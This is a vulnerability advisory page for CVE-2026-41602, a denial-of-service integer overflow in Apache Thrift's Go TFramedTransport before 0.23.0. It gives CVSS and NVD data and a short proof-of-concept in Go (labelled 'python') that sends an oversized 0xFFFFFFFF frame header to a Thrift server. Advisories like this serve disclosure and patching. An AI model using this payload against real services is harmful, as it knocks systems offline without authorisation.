Security Vulnerability Report
中文
CVE-2026-41602 CVSS 7.5 HIGH

CVE-2026-41602

Published: 2026-04-28 10:16:03
Last Modified: 2026-04-28 18:40:26

Description

Integer Overflow or Wraparound vulnerability in Apache Thrift TFramedTransport Go language implementation This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "bytes" "encoding/binary" "fmt" "net" ) // PoC for CVE-2026-41602: Apache Thrift TFramedTransport Integer Overflow // This PoC demonstrates sending a malformed frame size to trigger the vulnerability. func main() { target := "127.0.0.1:9090" conn, err := net.Dial("tcp", target) if err != nil { fmt.Println("Connection failed:", err) return } defer conn.Close() // TFramedTransport reads a 4-byte big-endian size header. // Sending a large value (e.g., 0xFFFFFFFF) may cause an integer overflow // in the buffer allocation logic in versions < 0.23.0. maliciousSize := uint32(0xFFFFFFFF) buf := new(bytes.Buffer) binary.Write(buf, binary.BigEndian, maliciousSize) // Send the malicious header _, err = conn.Write(buf.Bytes()) if err != nil { fmt.Println("Write failed:", err) return } fmt.Println("Malicious packet sent. Check target for crashes.") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41602", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:03.000", "lastModified": "2026-04-28T18:40:25.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer Overflow or Wraparound vulnerability in Apache Thrift TFramedTransport Go language implementation\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}